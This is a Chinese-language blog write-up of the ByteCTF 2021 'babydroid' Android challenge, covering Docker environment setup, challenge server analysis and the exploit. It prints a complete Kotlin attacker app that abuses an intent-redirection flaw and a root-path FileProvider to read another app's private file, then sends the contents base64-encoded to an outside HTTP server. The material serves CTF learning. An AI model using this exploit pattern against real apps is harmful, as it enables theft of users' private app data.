当前位置:首页>安卓APP>安卓逆向——bytectf2021 babydroid&docker环境搭建

安卓逆向——bytectf2021 babydroid&docker环境搭建

  • 2026-10-11 06:06:29
安卓逆向——bytectf2021 babydroid&docker环境搭建

前言

之前接触的ctf都是字段分析类型的,这是我第一次见到需要部署环境的安卓ctf题目,也是第一次接触到docker和fastapi,写一篇文章纪念一下

理清题目用意

官方wp,里面包含题目原件。

ByteCTF2021 writeup for Android challenges - 飞书云文档https://ai.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg

官方wp介绍了题目的整体攻击流程

理清题目的部署和运行环境是后续解题的必要条件,也可以避免少走弯路。运行环境还原了正手机上安装恶意应用(后称Attacker App)后,本地环境下利用其他应用(后称Vuler App)中存在的安卓漏洞,窃取Vuler App的敏感信息,或者以Vuler App进程权限执行任意命令,即LCE 。这里的两个app均为普通应用、不具备root、shell等特殊权限。

有点懵,看一下提供的附件

分析run.sh

run.sh根据提供的DockerFile,创建一个docker容器,容器名称为babydroid 每次运行脚本时,容器都会删除并且重建

## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at##     https://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.docker build -t babydroid -f Dockerfile . || exit 1docker stop babydroid 2> /dev/nulldocker rm babydroid 2> /dev/nulldocker run -d --name babydroid -it -p 30001:1337 --privileged -v /dev/kvm:/dev/kvm babydroid || exit 1echo -e "\nServer is running on localhost:30001"# */20 * * * * cd /root/src_babydroid; ./run.sh# Resetting every 20 minutes, this may cause disconnection, please pay attention to the time to solve the problem

分析dockerfile

dockerfile的目的是创建一个android系统的隔离环境。

这段代码使用ubuntu20.04作为基础系统,创建一个uid为1000的user。接着安装好安卓依赖以及配置环境变量。

然后是权限管理:Dockerfile将当前目录下的flag , server.py, app-debug.apk移动到babydroid容器中的challenge里,并且为这些文件设置权限

FROM ubuntu:20.04RUN /usr/sbin/useradd --no-create-home -u 1000 userRUNset -e -x; \        apt update -y; \        apt upgrade -y; \ apt install -y software-properties-common; \ apt install -y openjdk-17-jdk; \ apt install -y unzip wget socat; \ apt install -y cpu-checker qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager;RUNset -e -x; \ wget https://dl.google.com/android/repository/commandlinetools-linux-6514223_latest.zip -O commandlinetools.zip; \ mkdir -p /opt/android/sdk/cmdline-tools; \ unzip commandlinetools.zip; \ mv tools /opt/android/sdk/cmdline-tools/latest; \ rm commandlinetools.zip;ENV PATH "/opt/android/sdk/cmdline-tools/latest/bin:${PATH}"ENV ANDROID_SDK_ROOT "/opt/android/sdk"RUNset -e -x; \ yes | sdkmanager --install \"cmdline-tools;latest" \"platform-tools" \"build-tools;30.0.0" \"platforms;android-30" \"system-images;android-30;google_apis;x86_64" \"emulator";RUN sdkmanager --update;ENV PATH "/opt/android/sdk/emulator:${PATH}"ENV PATH "/opt/android/sdk/platform-tools:${PATH}"ENV PATH "/opt/android/sdk/build-tools/30.0.0:${PATH}"COPY flag server.py app-debug.apk /challenge/RUN chmod 755 /challenge/server.pyRUN chmod 644 /challenge/app-debug.apk /challenge/flagRUN mkdir /home/user/RUN chmod 755 /home/user/

然后就到了核心部分:dockerfile对本地的1337端口进行监听,对于每一个新建的连接,执行server.py脚本

CMD chmod 0777 /dev/kvm && \    socat \      TCP-LISTEN:1337,reuseaddr,fork \      EXEC:"/bin/timeout 300 /challenge/server.py"

也就是说,执行run.sh并不会直接运行server.py,run.sh只是在本机的1337端口开启一个监听,只有连接到这个端口才会执行server.py。 我们可以使用nc,telent等工具连接到这个端口(有点做pwn题目的感觉了)

分析server.py

分析一下这个脚本到底干了什么

首先依然是配置环境

random_hex = lambda x: ''.join([random.choice('0123456789abcdef') for _ in range(x)])difficulty = 6ADB_PORT = int(random.random() * 60000 + 5000)EMULATOR_PORT = ADB_PORT + 1EXPLOIT_TIME_SECS = 30APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")HOME = "/home/user"VULER = "com.bytectf.babydroid"ATTACKER = "com.bytectf.pwnbabydroid"ENV = {}ENV.update(os.environ)ENV.update({"ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),"ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),"ANDROID_SDK_ROOT": "/opt/android/sdk","ANDROID_SDK_HOME": HOME,"ANDROID_PREFS_ROOT": HOME,"ANDROID_EMULATOR_HOME": HOME + "/.android","ANDROID_AVD_HOME": HOME + "/.android/avd","JAVA_HOME": "/usr/lib/jvm/java-17-openjdk-amd64","PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")})

之后要求用户在终端输入proof,使sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True。这一步是为了降低主办方服务器的负荷。但是我们现在只是复现题目,所以这部分可以删除。

defproof_of_work():    prefix = random_hex(6)    print_to_user(f'Question: sha256(("{prefix}"+"xxxx").encode()).hexdigest().startswith("{difficulty*"0"}")')    print_to_user(f'Please enter xxxx to satisfy the above conditions:')    proof = sys.stdin.readline().strip()return sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True

然后用户需要在终端输入Attacker App的地址,server.py会利用request访问url并下载此APK

print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)ifnot check_apk(EXP_FILE):    print_to_user("Invalid apk file.\n")    exit(-1)

执行结束后,Attack App被下载到docker部署的ubuntu20.04里。接下来需要利用adb,与ubuntu里的安卓虚拟机emulator进行交互。

adb_install(APK_FILE)adb_activity(f"{VULER}/.MainActivity", wait=True)with open(FLAG_FILE, "r") as f:    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity")

上面的代码含义分别是:

  • 往安卓虚拟机中安装Vuler APP
  • 打开Vuler的MainActivity
  • 往安卓虚拟机中安装Attack APP
  • adb利用广播发送flag。Vuler APP编写了相关代码接受广播,并且放在程序内部文件中,正常情况下其他应用程序访问不了这个文件。

我们的目标就是设计出Attacker App,得到文件的访问权限,从而得到flag。不过在此之前,先分析一下Attacker App的功能

分析Vuler APP

接受广播

FlagReceiver继承了广播接收者,用于接收传入的flag。

publicclassFlagReceiverextendsBroadcastReceiver{@Override// android.content.BroadcastReceiverpublicvoidonReceive(Context context, Intent intent){        String s = intent.getStringExtra("flag");if(s != null) {this.writeFile(new File(context.getFilesDir(), "flag"), s);            Log.e("FlagReceiver", "received flag.");        }    }

接收到flag后,这个类将会调用writeFile方法,将flag放入context.getFilesDir()/flag文件里。getFilesDir()方法用于返回一个File文件,表示程序的内部存储目录,通常为/data/data/<package_name>/files/

漏洞分析

在Vuler App下,有一个继承了Activity的Vulnerable Activity

publicclassVulnerableextendsActivity{@Override// android.app.ActivityprotectedvoidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));    }}

函数的功能很简单,不过在此之前先介绍一下intent。intent对象是component用来与操作系统通信的一种媒介工具。component包括activity、service、broadcast receiver以及content provider,也就是安卓四大组件。

intent介绍

如何使用intent完成acitivity的跳转?一般我们会这样写

cheatButton.setOnClickListener {// Start CheatActivityval intent = Intent(this, CheatActivity::class.java)    startActivity(intent)}

在上面的代码为按下cheatButton设置了一个监听:用户在按下按钮的时候,会跳转到CheatActivity中。

也就是下面的流程:页面会从cheatButton所在的某一个Activity跳转到CheatActivity

                   intentxxxActivity  ------------------> CheatActivity

intent重转发漏洞

回到题目里面的代码

this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));

this.getIntent()得到的是该Activity的”来时路“:即系统通过某一个Intent,跳转到此Activity中。getParcelableExtra("intent")表示代码会对这个Intent携带的数据intent进行序列化。因为没有对数据进行验证,所以这里存在Intent重定向漏洞。

通过FileProvider实现文件任意读写

在androidManifest.xml中,能够看到FileProvider的相关配置

<providerandroid:authorities="androidx.core.content.FileProvider"android:exported="false"android:grantUriPermissions="true"android:name="androidx.core.content.FileProvider"><meta-dataandroid:name="android.support.FILE_PROVIDER_PATHS"android:resource="@xml/file_paths"/></provider>

对应的file_paths xml文件如下

<?xml version="1.0" encoding="UTF-8"?><pathsxmlns:android="http://schemas.android.com/apk/res/android"><root-pathname="root"path=""/></paths>

发现path=""为空,表示可以访问模拟器下的所有文件。但是能访问路径还不够,需要目标app开启grantUriPermissions权限才可以。

可以发现,目标app的android:grantUriPermissions="true"。此时被攻击APP能够授予攻击者暂时的权限来读取文件

publicstaticfinalint FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;publicstaticfinalint FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;
  • FLAG_GRANT_READ_URI_PERMISSION:允许接收者读取 URI 的内容,即读取 URI 的数据,并在权限授予期间保持该权限。
  • FLAG_GRANT_WRITE_URI_PERMISSION:允许接收者写入 URI 的内容,即修改 URI 的数据,并在权限授予期间保持该权限。

一些问题

  • VlunActivity没有添加export:true属性,为什么attcker app可以使用intent直接跳转到这个activity里?这是因为android11默认添加了<intent-filter>的activity可以导出。

docker安装

配置环境:ubuntu24.04CPU开启虚拟化

官网:https://docs.docker.com/engine/install/

下载docker Engine

  1. 初始化apt仓库
# Add Docker's official GPG key:sudo apt updatesudo apt install ca-certificates curlsudo install -m 0755 -d /etc/apt/keyringssudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.ascsudo chmod a+r /etc/apt/keyrings/docker.asc# Add the repository to Apt sources:sudo tee /etc/apt/sources.list.d/docker.sources <<EOFTypes: debURIs: https://download.docker.com/linux/ubuntuSuites: $(. /etc/os-release && echo"${UBUNTU_CODENAME:-$VERSION_CODENAME}")Components: stableSigned-By: /etc/apt/keyrings/docker.ascEOFsudo apt update
  1. 安装docker包
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
  1. 验证docker是否安装成功
sudo docker run hello-world

配置国内镜像

搭建环境的时候报错

sudo  bash run.sh[+] Building 5.5s (2/2) FINISHED                                 docker:default => [internal] load build definition from Dockerfile                       0.0s => => transferring dockerfile: 2.08kB                                     0.0s => ERROR [internal] load metadata for docker.io/library/ubuntu:20.04      5.4s------ > [internal] load metadata for docker.io/library/ubuntu:20.04:------Dockerfile:15--------------------  13 |     # limitations under the License.  14 |       15 | >>> FROM ubuntu:20.04  16 |       17 |     RUN /usr/sbin/useradd --no-create-home -u 1000 user--------------------ERROR: failed to build: failed to solve: ubuntu:20.04: failed to resolve source metadata for docker.io/library/ubuntu:20.04: unable to fetch descriptor (sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214) which reports content size of zero: invalid argument

这时候一般是因为访问不了docker hub,需要配置国内源

sudo vim /etc/docker/daemon.json,输入国内镜像源地址

{"registry-mirrors": ["https://docker.1ms.run"  ]} 

服务器搭建

搭建服务器的py脚本参考这个文章Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup-先知社区:https://xz.aliyun.com/news/16393

要复现整个流程,依然需要搭建一个服务器,原因如下

  • 在server.py中,用户需要输入一个url链接,让脚本能够根据这个url链接下载attcker app
  • 攻击结束之后,attack app得到flag。 由于我们在没有图形化界面的安卓模拟器中运行攻击流程,所以没办法做到将flag打印到图形化界面上。可以将flag直接发送到服务器上,就能在终端直接阅读

这一步我打算使用fastapi,官网有相关教程

手动运行服务器 - FastAPIhttps://fastapi.docslib.dev/deployment/manually/

写一段代码验证一下能不能正常访问。

  • 在物理机上开启一个接口
@app.get("/")  asyncdefroot(msg: str):return {"message": msg}
  • 终端输入fastapi run运行
  • 虚拟机终端输入
curl http://192.168.98.116:8000?msg=1# {"message":"1"}

物理机也成功回显。

      INFO   Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)      INFO   192.168.98.126:42290 - "GET /?msg=1 HTTP/1.1" 200

确认虚拟机可以访问这个路径之后,接下来就可以继续编写python文件

import os  from fastapi import FastAPI, Path, HTTPException  from starlette.responses import FileResponse  app = FastAPI()  # @app.get("/")  # async def root():  #     return {"message": "Hello World"}  @app.get("/")  asyncdefroot(msg: str):return {"message": msg}  # 配置下载目录(建议使用绝对路径)  DOWNLOAD_FOLDER = "D:\\practice_code\\android\\pwnbabydroid\\app\\build\\outputs\\apk\\debug"@app.get("/download/{filename}")  asyncdefdownload_file(filename: str = Path(..., description="Name of the file to download")):    file_path = os.path.join(DOWNLOAD_FOLDER, filename)  # 检查文件是否存在且是文件(防止路径遍历)  ifnot os.path.isfile(file_path):  raise HTTPException(status_code=404, detail="File not found")  # 返回文件作为附件(浏览器会下载而非打开)  return FileResponse(          path=file_path,          filename=filename,  # 这会设置 Content-Disposition: attachment; filename=...        media_type='application/octet-stream'      )

attacker apk编译

让ai帮忙写了wp的kotlin版本:

classMainActivity : ComponentActivity() {  overridefunonCreate(savedInstanceState: Bundle?) {  super.onCreate(savedInstanceState)  val action = intent.action  if(action != "evil"){  val evil = Intent("evil").apply {                  setClass(this@MainActivity,MainActivity::class.java)  data = "content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag".toUri()                  addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or Intent.FLAG_GRANT_WRITE_URI_PERMISSION)              }  val intent = Intent().apply {                  putExtra("intent",evil)                  setClassName("com.bytectf.babydroid","com.bytectf.babydroid.Vulnerable")              }              startActivity(intent);          }else {  val inputStream = contentResolver.openInputStream(intent.data!!)  val text = inputStream?.use { it.bufferedReader().readText() } ?: ""val encoded = Base64.encodeToString(text.toByteArray(Charsets.UTF_8), Base64.DEFAULT).replace("\n", "")              httpGet(encoded)          }      }  privatefunhttpGet(msg: String) {          Thread {  var connection: HttpURLConnection? = nulltry {  val url = URL("http://192.168.101.116:8000/?msg=$msg")                  connection = url.openConnection() as HttpURLConnection                  connection.requestMethod = "GET"                connection.inputStream.use { it.readBytes() }              } catch (e: IOException) {                  e.printStackTrace()              } finally {                  connection?.disconnect()              }          }.start()      }  }

修改androidmanifest,添加网络请求和http请求权限

<uses-permissionandroid:name="android.permission.INTERNET" /><applicationandroid:allowBackup="true"android:dataExtractionRules="@xml/data_extraction_rules"android:fullBackupContent="@xml/backup_rules"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:roundIcon="@mipmap/ic_launcher_round"android:supportsRtl="true"android:theme="@style/Theme.Pwnbabydroid"android:usesCleartextTraffic="true"

按照下图,点击生成APK

生成的apk会在app-》build-》outputs-》apk-》debug目录下

攻击

写了这么多准备,终于开始攻击了。

  • 运行fast api服务器 fastapi run
  • 运行题目提供的docker容器sudo bash run.sh
  • 使用nc连接上容器

问题出现了:程序一直卡在这里。我尝试增加程序运行时间,发现二十分钟过去了,依然卡在这里

Preparing android emulator. This may takes about 2 minutes...

真机攻击

模拟器不行,那就使用真机完成攻击

环境:pixel3

复现步骤

  • 手机下载好Vluer app 和Attacker App
  • 服务器开启fastapi服务
  • 运行Vluer app
  • 使用adb 发送广播
> adb shell> su> am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag "BTYECTF{gaunzhu_xiaoy_xxm}"
  • 运行 Attacker app,攻击完成

后记

最近忙着做开题报告和文献翻译。我前段时间以为没问题了,结果导师一看哪哪都是问题,结果我从早到晚疯狂改了三天,才勉勉强强过关。:(

这些天打算把vue3完整过一遍,年后计划搭建一个个人博客,放一些待办事项、学习资源以及知识总结。(基本每隔几天就能发现新的复现文章,但是微信公众号更新文章太不方便了)

最新文章

随机文章